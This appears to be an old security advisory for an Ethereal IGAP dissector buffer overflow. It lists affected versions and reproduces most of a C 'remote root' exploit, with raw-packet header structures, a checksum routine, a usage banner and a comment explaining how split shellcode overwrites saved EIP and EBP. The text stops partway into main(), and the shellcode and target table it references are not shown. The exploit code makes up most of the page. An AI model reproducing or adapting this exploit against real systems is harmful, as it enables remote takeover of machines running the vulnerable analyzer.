"Ethereal is used by network professionals around the world for troubleshooting, analysis, software and protocol development, and education. It has all of the standard features you would expect in a protocol analyzer, and several features not seen in any other product. Its open source license allows talented experts in the networking community to add enhancements. It runs on all popular computing platforms, including Unix, Linux, and Windows."
An exploit code is presented for the IGAP dissector vulnerability found previously in Ethereal, as was reported here.
Vulnerable Systems:
* Ethereal versions 0.8.14 through 0.10.2
Immune Systems:
* Ethereal version 0.10.3
Exploit:
/*
* THE EYE ON SECURITY RESEARCH GROUP - INDIA
* Ethereal IGAP Dissector Message Overflow Remote Root exploit
*
* Copyright 2004 - EOS-India Group
*
* Authors note:
* Shellcode splitting technique:
* Due to difficulty involved while following normal exploitation techniques due to shortage of memory space
* for our shellcode, we used the technique of shellcode splitting. In this technique one part of the shellcode
* is kept before the buffer which overwrites the saved EIP on stack followed by a jmp OFFSET instruction which
* jumps EIP to the second half of the shellcode which is kept after return address. Also since our shellcode
* requires EBP to contain a usuable stack address, we overwrite saved EBP also.
*
* Disclaimer:
* This code is for educational purpose and testing only. The Eye on Security Research Group - India, cannot
* be held responsible for any damage caused due to misuse of this code.
* This code is a proof of concept exploit for a serious vulnerability that exists in Ethereal 0.10.0 to
* Ethereal 0.10.2.
*
* Nilanjan De [n2n+linuxmail.org] - Abhisek Datta [abhisek+front.ru]
* http://www.eos-india.net
*
*/
#define IPPROTO_IGAP 0x02 // IPPROTO_IGMP=0x02
#define PAYLOAD_SIZE (255-64)
#define MAX_BUFF sizeof(struct igap_header)+sizeof(struct ipheader)
#define EXP "Ethereal(v0.10.0-0.10.2) IGAP Dissector Message Overflow Exploit"
#define VER "0.2"
#define SOCKET_ERROR -1
#define MAX_PACKET 10
#define RETOFFSET 76
#define SRC_IP "192.31.33.7"
#include <stdio.h>
#include <signal.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#include <signal.h>
#include <netdb.h>
struct ipheader {
unsigned char ip_hl:4, ip_v:4;
unsigned char ip_tos;
unsigned short int ip_len;
unsigned short int ip_id;
unsigned short int ip_off;
unsigned char ip_ttl;
unsigned char ip_proto;
unsigned short int ip_sum;
unsigned int ip_src;
unsigned int ip_dst;
};
struct igap_header { // This is a malformed header which does not conforms with IGAP RFC
unsigned char igap_type; // Message Type
unsigned char igap_restime; // Response Time
unsigned short int igap_cksum; // IGAP Message Checksum
unsigned int igap_gaddr; // Group Address
unsigned char igap_ver; // Version
unsigned char igap_stype; // SubType
unsigned char igap_reserved1; // Reserved
unsigned char igap_cid; // Challenge ID
unsigned char igap_asize; // Account Size
unsigned char igap_msgsize; // Message Size
unsigned short int igap_reserved2; // Reserved
/*
unsigned char igap_uaccount[16];// User Account
unsigned char igap_message[64] // Message
*/
unsigned char igap_payload[16+64+PAYLOAD_SIZE]; // This buffer will contain payload, here we differ from RFC by sending a bigger message.
};
unsigned short checksum(unsigned short *buf,int nwords)
{
unsigned long sum;
for (sum = 0; nwords > 0; nwords--)
sum += *(buf)++;
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return ~sum;
}
void showhelp(char *pr00gie) {
int i=0;
printf("######### The Eye on Security Research Group - India ########\n");
printf("%s %s\n",EXP,VER);
printf("abhisek[at]front[dot]ru - n2n[at]linuxmail[dot]org\n");
printf("http://www.eos-india.net\n\n");
printf("[usage]\n");
printf("%s [Remote Host] [Target]\n",pr00gie);
printf("[Available Targets]\n");
while(targets[i].arch != NULL) {
printf("%d. - %s\t - %p\n",(i),targets[i].arch,targets[i].ret);
i++;
}
exit(1);
}
int main(int argc,char *argv[]) {
char buffer[MAX_BUFF];
struct ipheader *iphdr=(struct ipheader*)buffer;
struct igap_header *igaphdr=(struct igap_header*)(buffer+sizeof(struct ipheader));
int sockfd;
unsigned long addr;
int one=1;
int i;
const int *val=&one;
struct sockaddr_in sin;
unsigned long magic;
unsigned int n;
